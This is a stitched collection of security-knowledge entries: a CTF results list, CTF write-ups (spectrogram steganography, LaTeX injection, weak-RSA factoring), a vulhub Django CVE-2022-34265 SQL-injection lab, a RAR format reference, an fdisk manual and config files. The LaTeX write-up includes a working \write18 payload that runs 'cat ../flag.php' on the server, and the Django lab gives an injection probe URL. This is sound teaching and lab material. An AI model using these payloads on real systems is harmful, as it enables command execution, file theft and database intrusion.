teams) on site](2018-12-01-real-world-finals) * [2018.11.24 **ASIS 2018 Finals**(7th place/182 teams)](2018-11-24-asis-finals) * [2018.11.08 **Defcamp Finals 2018**(2nd place /17 teams) on site](2018-11-8-defcamp-finals) * [2018.10.20 **HITCON CTF 2018**(13th place / 1167 teams)](2018-10-20-hitcon) * [2018.10.06 **Hackover CTF 2018**(3rd place / 201 teams)](2018-10-06-hackover) * [2018.09.29 **Dragon CTF 2018 Quals**(2nd place / 233 teams)](2018-09-29-dragonctf) * [2018.09.15 **Trend Micro CTF 2018 Quals**(4th place / 165 teams)](2018-09-15-trendmicro) * [2018.09.13 **SCS CTF 2018**(2nd place / 10 teams)](2018-09-13_scs-ctf) * [2018.09.01 **Tokyo Westerns CTF 2018**(6th place / 810 teams)](2018-09-01-tokyowesterns) * [2018.08.18 **WhiteHat GrandPrix 2018 Quals**(11th place / 361 teams)](2018-08-18-whitehat) * [2018.08.16 **Hackon 2018**(1st place / 461 teams)](2018-08-16-hackon) * [2018.07.28 **Real World CTF 2018 Quals**(6th place / 109 teams)](2018-07-28-real-world-quals) * [2018.07.28 **CODE BLUE CTF 2018 Quals**(17th place / 542 teams)](2018-07-28-code-blue-quals) * [2018.07.21 **CTFZone 2018 Quals**(3rd place / 637 teams)](2018-07-21-ctfzone-quals) * [2018.07.13 **Meepwn CTF Quals 2018**(2nd place / 753 teams)](2018-07-13-meepwn-ctf) * [2018.06.23 **Google CTF 2018 Quals**(6th place / 220 teams)](2018-06-23-google-ctf) * [2018.06.16 **Midnight Sun CTF Finals 2018**(4th place / 14 teams) on site](2018-06-16-midnightsun-finals) * [2018.05.31 **Security Fest CTF 2018**(2nd place / 546 teams)](2018-05-31-securityfest) * [2018.04.21 **Star CTF 2018**(5th place / 146 teams)](2018-04-21-starctf) * [2018.04.15 **BSidesSF CTF 2018**(9th place / 140 teams)](2018-04-15-bsidessf) * [2018.04.14 **Midnight Sun CTF Quals 2018**(3rd place / 438 teams)](2018-04-14-midnight-quals) * [2018.04.11 **HITB-XCTF GSEC CTF 2018 Quals**(40th place / 344 teams)](2018-04-11-hitb-quals) * [2018.03.30 **Nuit du Hack CTF Quals 2018**(1st place / 490 teams)](2018-03-30-nuit-du-hack) * [2018.03.24 **Securinets CTF Quals 2018**(5th place / 216 teams)](2018-03-24-securinets) * [2018.03.18 **Backdoor CTF 2018**(2nd place / 123 teams)](2018-03-18-backdoor-ctf) * [2018.03.10 **N1 CTF 2018**(4th place / 517 teams)](2018-03-10-n1ctf) * [2018.02.03 **Codegate 2018 Quals**](2018-02-03-codegate-quals) * [2018.01.20 **InsomniHack Teaser 2018** (4th place / 433 teams)](2018-01-20-insomnihack) ## 2017 * [2017.12.09 **34C3 CTF** (14th place / 187 teams)](2017-12-29-34c3) * [2017.12.09 **SECCON 2017 Quals** (7th place / 1028 teams)](2017-12-09-seccon-quals) * [2017.11.09 **Defcamp D-CTF 2016 Finals** (2nd place / 11 teams) on site](2017-11-09-defcamp-final) * [2017.11.04 **HITCON 2017 Quals** (24th place / 1075 teams)](2017-11-04-hitcon) * [2017.10.06 **KasperskyLab Industrial CTF Quals 2017** (4th place / 227 teams)](2017-10-06-klctf) * 2017.10.01 **DefCamp D-CTF 2017 Quals** (5th place / 471 teams) * [2017.09.17 **EKO Party 2017** (5th place / 184 teams)](2017-09-17-ekoparty) * [2017.09.02 **Tokyo Westerns CTF 2017** (12th place / 901 teams)](2017-09-02-tokyo) * [2017.08.25 **HackIT 2017** (4th place / 338 teams)](2017-08-25-hackit) * [2017.07.15 **CTFZone 2017 Quals** (3rd place / 55 teams)](2017-07-15-ctfzone) * [2017.06.17 **Google CTF 2017 Quals** (17th place / 1977 teams)](2017-06-17-googlectf) * [2017.05.20 **CONFidence CTF 2017** (2nd place / 21 teams)](2017-05-18-confidence-finals) * [2017.04.21 **Plaid CTF 2017** (19th place / 1150 teams)](2017-04-21-plaidctf) * [2017.04.02 **Confidence CTF Teaser 2017** (10th place / 258 teams)](2017-04-02-confidence-teaser) * [2017.04.01 **Nuit du Hack CTF Quals 2017** (5th place / 378 teams)](2017-04-01-nuit-du-hack-quals) * 2017.03.25 **InsomniHack 2017** (7th place / 68 teams) on site * [2017.03.18 **0CTF Quals 2017** (24th place / 908 teams)](2017-03-18-0ctf-quals) * [2017.02.25 **Boston Key Party 2017** (6th place / 948 teams)](2017-02-25-bkp) * [2017.02.12 **BsidesSF CTF 2017** (6th place / 686 teams)](2017-02-12-bsidessf) * [2017.02.10 **Codegate 2017 prequals** (17th place / 300 teams)](2017-02-10-codegate-quals) * [2017.02.04 **BITSCTF 2017** (4th place / 275 teams)](2017-02-04-bitsctf) * [2017.02.03 **AlexCTF 2017** (1st place / 977 teams)](2017-02-03-alexctf) * [2017.01.21 **InsomniHack Teaser CTF 2017** (4th place / 339 teams)](2017-01-21-insomnihack) ## 2016 * [2016.12.27 **33C3 CTF 2016** (15th place / 278 teams)](2016-12-27-33c3) * [2016.12.17 **3DSCTF 2016** (8th place / 536 teams)](2016-12-17-3dsctf) * [2016.12.10 **Sharif CTF 7 2016** (8th place / 700 teams)](2016-12-16-sharifctf7) * [2016.12.10 **Whitehat 2016 GP** (22nd place / 111 teams)](2016-12-16-whitehat) * [2016.12.10 **SECCON 2016 Quals** (22nd place / 930 teams)](2016-12-10-seccon-2016-quals) * [2016.12.02 **HITCON 2016 Finals** (6th place / 13 teams) on site](2016-12-02-hitcon-2016-finals) * [2016.11.25 **Juniors CTF 2016** (35th place / 310 teams)](2016-11-25-juniors-2016) * [2016.11.19 **RC3 CTF 2016** (46th place / 663 teams)](2016-11-19-r3ctf-2016) * [2016.11.18 **Trend Micro CTF 2016 Finals** (2nd place / 10 teams) on site](2016-11-18-trendmicro-2016-finals) * [2016.11.17 **Qiwi-Infosec CTF-2016** (6th place / 234 teams)](2016-11-17-qiwi-2016) * [2016.11.10 **Defcamp D-CTF 2016 Finals** (4th place / 16 teams) on site](2016-11-11-defcamp-2016-finals) * [2016.11.05 **Hack The Vote CTF 2016** (6th place / 1030 teams)](2016-11-05-hack-the-vote) * [2016.10.26 **Ekoparty CTF 2016** (8th place / 721 teams)](2016-10-26-ekoparty) * [2016.10.23 **ECTF 2016** (2nd place / 20 teams)](2016-10-23-ectf) * [2016.10.01 **TUM CTF 2016** (5th place / 435 teams)](2016-10-01-tum) * [2016.09.24 **Defcamp CTF Quals 2016** (1st place / 116 teams)](2016-09-24-dctf) * [2016.09.16 **CSAW CTF 2016 Quals** (7th place / 1273 teams)](2016-09-16-csaw) * [2016.09.09 **ASIS CTF Finals 2016** (5th place / 343 teams)](2016-09-09-asis-final) * [2016.09.05 **Tokyo Westerns/MMA CTF 2nd 2016** (6th place / 835 teams)](2016-09-05-tokyo-mma) * [2016.08.21 **BioTerra CTF 2016** (1st place / 150 teams)](2016-08-21-bioterra-ctf) * [2016.07.30 **Trendmicro CTF 2016** (10th place / 281 teams)](2016-07-30-trendmicro) * [2016.07.09 **Secuinside CTF 2016** (17th place / 395 teams)](2016-07-09-secuinside-ctf) * [2016.06.04 **Backdoor CTF 2016** (1st place / 215 teams)](2016-06-04-backdoor-ctf) * [2016.05.01 **Google CTF 2016** (14th place / 911 teams)](2016-05-01-googlectf) * [2016.04.15 **Plaid CTF 2016** (14th place / 815 teams)](2016-04-15-plaid-ctf) * [2016.04.14 **Confidence Teaser CTF 2016** (10th place / 44 teams)](2016-04-14-confidence-teaser) * [2016.04.01 **Nuit du Hack CTF Quals 2016** (29th place / 447 teams)](2016-04-01-nuitduhack-quals) * [2016.03.26 **Pwn2Win CTF 2016** (1st place / 312 teams)](2016-03-26-pwn2win) * [2016.03.26 **Volga CTF 2016 Quals** (15th place / 199 teams)](2016-03-26-volga2016-quals) * [2016.03.19 **BCTF 2016** (18th place / 588 teams)](2016-03-19-bctf) * [2016.03.18 **Insomnihack CTF 2016** (5th place / 62 teams) on site](2016-03-18-insomnihack-final) * [2016.03.12 **0CTF 2016** (13th place / 874 teams)](2016-03-12-0ctf) * [2016.03.06 **Boston Key Party CTF 2016** (10th place / 734 teams)](2016-03-06-bkpctf) * [2016.02.20 **Internetwache CTF 2016** (8th place / 647 teams)](2016-02-20-internetwache) * [2016.02.05 **SharifCTF CTF 2016** (7th place / 448 teams)](2016-02-05-sharif) * [2016.01.29 **HackIM (Nullcon) CTF 2016** (18th place / 535 teams)](2016-01-29-nullcon) * 2016.01.23 **Break In 2016** (2nd place / 152 teams) * [2016.01.16 **InsomniHack Teaser CTF 2016** (9th place / 245 teams)](2016-01-16-insomnihack) ## 2015 * [2015.12.27 **32c3 CTF 2015** (46th place / 389 teams)](2015-12-27-32c3) * [2015.12.05 **SECCON CTF 2015** (12th place / 872 teams)](2015-12-05-seccon) * [2015.11.28 **9447 Security Society CTF 2015** (21st place / 595 teams)](2015-11-28-9447) * [2015.11.20 **Defcamp CTF Finals 2015** (11th place / 15 teams out of 378 teams) on site](2015-11-20-dctffinals) * [2015.10.22 **Ekoparty CTF 2015** (28th place / 356 teams)](2015-10-22-ekoparty) * [2015.10.20 **Hack.lu CTF 2015** (17th place / 248 teams)](2015-10-20 hacklu) * [2015.10.18 **Hitcon CTF 2015** (22th place / 382 teams)](2015-10-18-hitcon) * [2015.10.10 **ASIS CTF Finals 2015** (17th place / 197 teams)](2015-10-10-asisfin) * [2015.10.02 **Defcamp CTF Qualification 2015** (17th place / 378 teams)](2015-10-02-dctf) * [2015.09.26 **Trend Micro CTF Asia Pacific & Japan 2015 Online Qualifier 2015** (81st place / 359 teams)](2015-09-26-trendmicro) * [2015.09.16 **CSAW CTF Qualification Round 2015** (48th place / 1364 teams)](2015-09-16-csaw) * 2015.09.05 **MMA CTF 1st 2015** (49th place / 672 teams) ![](./logo-small.png)
sec-knowleage
# timbre Category: Steganography ## Description > Seek the KEY, save the world. Find it in the very not suspicious [playlist](https://www.youtube.com/playlist?list=PLQHSEXRhc1RgfdFWMHyAclXWMc9a98RoH). > > The flag is in the format KEY: (FLAG), all uppercase. > > Please convert it to the format cstechnion{FLAG} and change all spaces to lowercase - "_" . ## Solution This challenge was evil. I solved it with some hints. We get a YouTube playlist of 68 Rock and Metal songs. Nothing in the title, performers, duration, date of release or lyrics seem to hint towards the correct direction. It turned out that there was one particular video that we should have concentrated on: "[Ayreon - March Of The Machines](https://www.youtube.com/watch?v=2pUtgNQw_eY&list=PLQHSEXRhc1RgfdFWMHyAclXWMc9a98RoH&index=27)". It was the only video uploaded recently (Oct 16, 2020) by a nearly-anonymous uploader ("A prorsus non suspectum channel"), and it was their only upload ever. The video for the clip was composed of a still cover image, so let's inspect the audio. We start by downloading it from YouTube with `youtube-dl`: ```console root@kali:/media/sf_CTFs/technion/timbre# youtube-dl --extract-audio --audio-format wav --audio-quality 0 https://www.youtube.com/watch?v=2pUtgNQw_eY [youtube] 2pUtgNQw_eY: Downloading webpage [youtube] 2pUtgNQw_eY: Downloading MPD manifest [dashsegments] Total fragments: 12 [download] Destination: Ayreon - March Of The Machines-2pUtgNQw_eY.m4a [download] 100% of 1.54MiB in 00:06 [ffmpeg] Correcting container in "Ayreon - March Of The Machines-2pUtgNQw_eY.m4a" [ffmpeg] Destination: Ayreon - March Of The Machines-2pUtgNQw_eY.wav Deleting original file Ayreon - March Of The Machines-2pUtgNQw_eY.m4a (pass -k to keep) ``` When listening to the audio, we can hear someone saying "zero" and "one" every now and then, but it turns out that it's part of the original "song". The audio spectrogram, on the other hand, was definitely tampered with: ```console root@kali:/media/sf_CTFs/technion/timbre# sox Ayreon\ -\ March\ Of\ The\ Machines-2pUtgNQw_eY.wav -n spectrogram ``` ![](images/timbre1.png) We can see a QR code, some text and a few icons. It should be possible to fine-tune the spectrogram using `Sonic Visualizer` to get a clearer look: The QR seems the most tempting, and after some tweaks it's possible to get a scannable image: ![](images/timbre2.png) But... it's a Rick Roll. The text is worth a try too: ![](images/timbre3.png) But it's a `tinyurl` Rick Roll as well. At last, a collection of dashes and dots barely visible proved to contain the flag when interpreted as morse: ![](images/timbre4.png) Let's decode it with CyberChef: ```javascript > const chef = require("cyberchef"); undefined > chef.fromMorseCode("-.- . -.-- ---... ..-. --- .-. . ...- . .-. .-- .- ... .... . .-. ."); KEY:FOREVERWASHERE ``` The flag: `cstechnion{FOREVER_WAS_HERE}`
sec-knowleage
## TexMaker (Web, 90p) Description: Creating and using coperate templates is sometimes really hard. Luckily, we have a webinterace for creating PDF files. Some people doubt it's secure, but I reviewed the whole code and did not find any flaws. ###ENG [PL](#pl-version) In this task we could upload latex file, which server would convert to PDF, and allow us to see it. As it turns out, there is a latex command, which allows us to use any system command. Hence, we could simply print out flag (base64-encoded, since latex doesn't like special characters): ``` \immediate\write18{cat ../flag.php | base64 > script.tex 2>&1} \openin5=script.tex \def\readfile{% \read5 to\curline \ifeof5 \let\next=\relax \else \curline˜\\ \let\next=\readfile \fi \next}% \ifeof5 Couldn't read the file!% \else \readfile \closein5 \fi ``` ###PL version W tym zadaniu mogliśmy wysłać plik w latexu, który strona konwertowała do pdf-a, a następnie dawała do niego linka. Jak się okazuje, istnieje komenda latexa do wykonania dowolnego polecenia systemowego. Korzystając z tego, wypisujemy flagę (zakodowaną base64, żeby nie zepsuć parsera): ``` \immediate\write18{cat ../flag.php | base64 > script.tex 2>&1} \openin5=script.tex \def\readfile{% \read5 to\curline \ifeof5 \let\next=\relax \else \curline˜\\ \let\next=\readfile \fi \next}% \ifeof5 Couldn't read the file!% \else \readfile \closein5 \fi ```
sec-knowleage
# Super Safe RSA Cryptography, 350 points ## Description: > Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? ## Solution: After connecting to the server, we receive a response similar to the the following: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA# nc 2018shell3.picoctf.com 1317 c: 12654858941499530461652100979885023413853686976170397252318656231551885813737242 n: 14388047625825038792581806368797782213408602208252281782268581158721542328850069 e: 65537 ``` The n value seems pretty small, and it turns out we can factorize it using a service such as [FactorDB](http://factordb.com/). FactorDB might take a while when attempting to factorize new numbers, so we need to poll the service after the initial request. When we receive the result (p and q), we can easily decrypt the message. The script: ```python import gmpy2 from factordb.factordb import FactorDB from pwn import * import time import requests r = remote("2018shell3.picoctf.com", 1317) output = r.recvall() params = {} for line in output.rstrip().split("\n"): param, value = line.split(": ") log.info("{}: {}".format(param, value)) params[param] = int(value.rstrip()) log.info("Connecting to FactorDB") # It looks like in some cases, the FactorDB won't factorize a number unless # we first access the web API. requests.get("http://factordb.com/index.php?query={}".format(params["n"])) status = '' while status != 'FF': f = FactorDB(params["n"]) f.connect() factor_list = f.get_factor_list() status = f.get_status() log.info("Received from FactorDB: {} (status: {})".format(factor_list, status)) time.sleep(15) p, q = factor_list log.info("p: {}".format(p)) log.info("q: {}".format(q)) assert(p * q == params["n"]) ph = (p-1)*(q-1) log.info("Phi: {}".format(ph)) d = gmpy2.invert(params["e"], ph) log.info("d: {}".format(d)) plaintext = pow(params["c"], d, params["n"]) log.success("Flag: {}".format(format(plaintext, 'x').decode("hex"))) ``` The output: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA# python solve.py [+] Opening connection to 2018shell3.picoctf.com on port 1317: Done [+] Receiving all data: Done (177B) [*] Closed connection to 2018shell3.picoctf.com port 1317 [*] c: 11583360663584966291640415469545456678903953436240956253019470111711054578133277 [*] n: 15293141044389338319706248927379117212423193045531636442312081420698010099164067 [*] e: 65537 [*] Connecting to FactorDB [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [15293141044389338319706248927379117212423193045531636442312081420698010099164067L] (status: C) [*] Received from FactorDB: [93623660453440872539167520505354536801L, 163346967746413104744521163324467660078467L] (status: FF) [*] p: 93623660453440872539167520505354536801 [*] q: 163346967746413104744521163324467660078467 [*] Phi: 15293141044389338319706248927379117212259752454124769896695021089853037084548800 [*] d: 11261998155001270213553610719641896255521006041487551226853458471374754349062273 [+] Flag: picoCTF{us3_l@rg3r_pr1m3$_7542} ``` The flag: picoCTF{us3_l@rg3r_pr1m3$_7542}
sec-knowleage
# Django Potential SQL injection via Trunc(kind) and Extract(lookup_name) arguments (CVE-2022-34265) [中文版本(Chinese version)](README.zh-cn.md) Django released a security update on July 4, 2022, which fixes a SQL injection vulnerability in the Trunc() and Extract() database functions. Reference link: - https://www.djangoproject.com/weblog/2022/jul/04/security-releases/ ## Start Vulnerability Application Start a vulnerable Django 4.0.5 by executing the following command: ``` docker compose up -d ``` After the server is started, you can see a web page at `http://your-ip:8000`. This page use `Trunc` function to aggregate page click count by datetime. For example, use this link to see the number of clicks per minute: `http://your-ip:8000/?date=minute`: ![](1.png) ## Vulnerability Reproduce Change the `date` parameter to reproduce the SQL injection: ``` http://your-ip:8000/?date=xxxx'xxxx ``` ![](2.png)
sec-knowleage
### RAR文件格式 RAR 文件主要由标记块,压缩文件头块,文件头块,结尾块组成。 其每一块大致分为以下几个字段: | 名称 | 大小 | 描述 | | ---------- | ---- | --------------------- | | HEAD_CRC | 2 | 全部块或块部分的CRC | | HEAD_TYPE | 1 | 块类型 | | HEAD_FLAGS | 2 | 阻止标志 | | HEAD_SIZE | 2 | 块大小 | | ADD_SIZE | 4 | 可选字段 - 添加块大小 | Rar压缩包的文件头为 `0x 52 61 72 21 1A 07 00`。 紧跟着文件头(0x526172211A0700)的是标记块(MARK_HEAD),其后还有文件头(File Header)。 | 名称 | 大小 | 描述 | | ------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------ | | HEAD_CRC | 2 | CRC of fields from HEAD_TYPE to FILEATTR and file name | | HEAD_TYPE | 1 | Header Type: 0x74 | | HEAD_FLAGS | 2 | Bit Flags (Please see ‘Bit Flags for File in Archive’ table for all possibilities)(伪加密) | | HEAD_SIZE | 2 | File header full size including file name and comments | | PACK_SIZE | 4 | Compressed file size | | UNP_SIZE | 4 | Uncompressed file size | | HOST_OS | 1 | Operating system used for archiving (See the ‘Operating System Indicators’ table for the flags used) | | FILE_CRC | 4 | File CRC | | FTIME | 4 | Date and time in standard MS DOS format | | UNP_VER | 1 | RAR version needed to extract file (Version number is encoded as 10 * Major version + minor version.) | | METHOD | 1 | Packing method (Please see ‘Packing Method’ table for all possibilities | | NAME_SIZE | 2 | File name size | | ATTR | 4 | File attributes | | HIGH_PACK_SIZ | 4 | High 4 bytes of 64-bit value of compressed file size. Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | HIGH_UNP_SIZE | 4 | High 4 bytes of 64-bit value of uncompressed file size. Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | FILE_NAME | NAME_SIZE bytes | File name - string of NAME_SIZE bytes size | | SALT | 8 | present if (HEAD_FLAGS & 0x400) != 0 | | EXT_TIME | variable size | present if (HEAD_FLAGS & 0x1000) != 0 | 每个 RAR 文件的结尾块(Terminator)都是固定的。 | Field Name | Size (bytes) | Possibilities | | ---------- | ------------ | ------------------- | | HEAD_CRC | 2 | Always 0x3DC4 | | HEAD_TYPE | 1 | Header type: 0x7b | | HEAD_FLAGS | 2 | Always 0x4000 | | HEAD_SIZE | 2 | Block size = 0x0007 | 更多详见 [Rar - Forensics Wiki](https://forensics.wiki/rar/)
sec-knowleage
fdisk === 查看磁盘使用情况和磁盘分区 ## 补充说明 **fdisk命令** 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOS fdisk的cfdisk互动式操作界面,因此在使用上较为不便,但功能却丝毫不打折扣。 ### 语法 ```shell fdisk [选项] <磁盘> 更改分区表 fdisk [选项] -l [<磁盘>...] 列出分区表 ``` ### 选项 ```shell 选项: -b, --sectors-size <大小> 显示扇区计数和大小 -B, --protect-boot 创建新标签时不要擦除 bootbits -c, --compatibility[=<模式>] 模式,为“dos”或“nondos”(默认) -L, --color[=<时机>] 彩色输出(auto, always 或 never)默认启用颜色 -l, --list 显示分区并退出 -x, --list-details 类似 --list 但提供更多细节 -n, --noauto-pt 不要在空设备上创建默认分区表 -o, --output <列表> 输出列 -t, --type <类型> 只识别指定的分区表类型 -u, --units[=<单位>] 显示单位,“cylinders”柱面或“sectors”扇区(默认) -s, --getsz 以 512-字节扇区显示设备大小[已废弃] -b, --bytes 以字节为单位而非易读的格式来打印 SIZE --lock[=<模式>] 使用独占设备锁(yes、no 或 nonblock) -w, --wipe <模式> 擦除签名(auto, always 或 never) -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never) -C, --cylinders <数字> 指定柱面数 -H, --heads <数字> 指定磁头数 -S, --sectors <数字> 指定每条磁道的扇区数 -h, --help 显示此帮助 -V, --version 显示版本 ``` ### 参数 设备文件:指定要进行分区或者显示分区的硬盘设备文件。 ### 实例 首先选择要进行操作的磁盘: ```shell [root@localhost ~]# fdisk /dev/sdb ``` 输入`m`列出可以执行的命令: ```shell command (m for help): m Command action a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition l list known partition types m print this menu n add a new partition o create a new empty DOS partition table p print the partition table q quit without saving changes s create a new empty Sun disklabel t change a partition's system id u change display/entry units v verify the partition table w write table to disk and exit x extra functionality (experts only) ``` 输入`p`列出磁盘目前的分区情况: ```shell Command (m for help): p Disk /dev/sdb: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sdb1 1 1 8001 8e Linux LVM /dev/sdb2 2 26 200812+ 83 Linux ``` 输入`d`然后选择分区,删除现有分区: ```shell Command (m for help): d Partition number (1-4): 1 Command (m for help): d Selected partition 2 ``` 查看分区情况,确认分区已经删除: ```shell Command (m for help): print Disk /dev/sdb: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System Command (m for help): ``` 输入`n`建立新的磁盘分区,首先建立两个主磁盘分区: ```shell Command (m for help): n Command action e extended p primary partition (1-4) p //建立主分区 Partition number (1-4): 1 //分区号 First cylinder (1-391, default 1): //分区起始位置 Using default value 1 last cylinder or +size or +sizeM or +sizeK (1-391, default 391): 100 //分区结束位置,单位为扇区 Command (m for help): n //再建立一个分区 Command action e extended p primary partition (1-4) p Partition number (1-4): 2 //分区号为2 First cylinder (101-391, default 101): Using default value 101 Last cylinder or +size or +sizeM or +sizeK (101-391, default 391): +200M //分区结束位置,单位为M ``` 确认分区建立成功: ```shell Command (m for help): p Disk /dev/sdb: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sdb1 1 100 803218+ 83 Linux /dev/sdb2 101 125 200812+ 83 Linux ``` 再建立一个逻辑分区: ```shell Command (m for help): n Command action e extended p primary partition (1-4) e //选择扩展分区 Partition number (1-4): 3 First cylinder (126-391, default 126): Using default value 126 Last cylinder or +size or +sizeM or +sizeK (126-391, default 391): Using default value 391 ``` 确认扩展分区建立成功: ```shell Command (m for help): p Disk /dev/sdb: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sdb1 1 100 803218+ 83 Linux /dev/sdb2 101 125 200812+ 83 Linux /dev/sdb3 126 391 2136645 5 Extended ``` 在扩展分区上建立两个逻辑分区: ```shell Command (m for help): n Command action l logical (5 or over) p primary partition (1-4) l //选择逻辑分区 First cylinder (126-391, default 126): Using default value 126 Last cylinder or +size or +sizeM or +sizeK (126-391, default 391): +400M Command (m for help): n Command action l logical (5 or over) p primary partition (1-4) l First cylinder (176-391, default 176): Using default value 176 Last cylinder or +size or +sizeM or +sizeK (176-391, default 391): Using default value 391 ``` 确认逻辑分区建立成功: ```shell Command (m for help): p Disk /dev/sdb: 3221 MB, 3221225472 bytes 255 heads, 63 sectors/track, 391 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sdb1 1 100 803218+ 83 Linux /dev/sdb2 101 125 200812+ 83 Linux /dev/sdb3 126 391 2136645 5 Extended /dev/sdb5 126 175 401593+ 83 Linux /dev/sdb6 176 391 1734988+ 83 Linux Command (m for help): ``` 从上面的结果我们可以看到,在硬盘sdb我们建立了2个主分区(sdb1,sdb2),1个扩展分区(sdb3),2个逻辑分区(sdb5,sdb6) 注意:主分区和扩展分区的磁盘号位1-4,也就是说最多有4个主分区或者扩展分区,逻辑分区开始的磁盘号为5,因此在这个实验中试没有sdb4的。 最后对分区操作进行保存: ```shell Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. ``` 建立好分区之后我们还需要对分区进行格式化才能在系统中使用磁盘。 在sdb1上建立ext2分区: ```shell [root@localhost ~]# mkfs.ext2 /dev/sdb1 mke2fs 1.39 (29-May-2006) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) 100576 inodes, 200804 blocks 10040 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=209715200 7 block groups 32768 blocks per group, 32768 fragments per group 14368 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840 Writing inode tables: done Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 32 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. ``` 在sdb6上建立ext3分区: ```shell [root@localhost ~]# mkfs.ext3 /dev/sdb6 mke2fs 1.39 (29-May-2006) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) 217280 inodes, 433747 blocks 21687 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=444596224 14 block groups 32768 blocks per group, 32768 fragments per group 15520 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912 Writing inode tables: done Creating journal (8192 blocks): done Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 32 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. [root@localhost ~]# ``` 建立两个目录`/oracle`和`/web`,将新建好的两个分区挂载到系统: ```shell [root@localhost ~]# mkdir /oracle [root@localhost ~]# mkdir /web [root@localhost ~]# mount /dev/sdb1 /oracle [root@localhost ~]# mount /dev/sdb6 /web ``` 查看分区挂载情况: ```shell [root@localhost ~]# df -h 文件系统 容量 已用 可用 已用% 挂载点 /dev/mapper/VolGroup00-LogVol00 6.7G 2.8G 3.6G 44% / /dev/sda1 99M 12M 82M 13% /boot tmpfs 125M 0 125M 0% /dev/shm /dev/sdb1 773M 808K 733M 1% /oracle /dev/sdb6 1.7G 35M 1.6G 3% /web ``` 如果需要每次开机自动挂载则需要修改`/etc/fstab`文件,加入两行配置: ```shell [root@localhost ~]# vim /etc/fstab /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 /dev/sdb1 /oracle ext2 defaults 0 0 /dev/sdb6 /web ext3 defaults 0 0 ```
sec-knowleage
version: '2' services: web: image: vulhub/phpmyadmin:4.4.15.6 volumes: - ./config.inc.php:/var/www/html/config.inc.php ports: - "8080:80" depends_on: - mysql mysql: image: mysql:5.5 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=test
sec-knowleage
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.shiro.samples; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; @Controller public class LoginController { @RequestMapping("/login.html") public String loginTemplate() { return "login"; } }
sec-knowleage
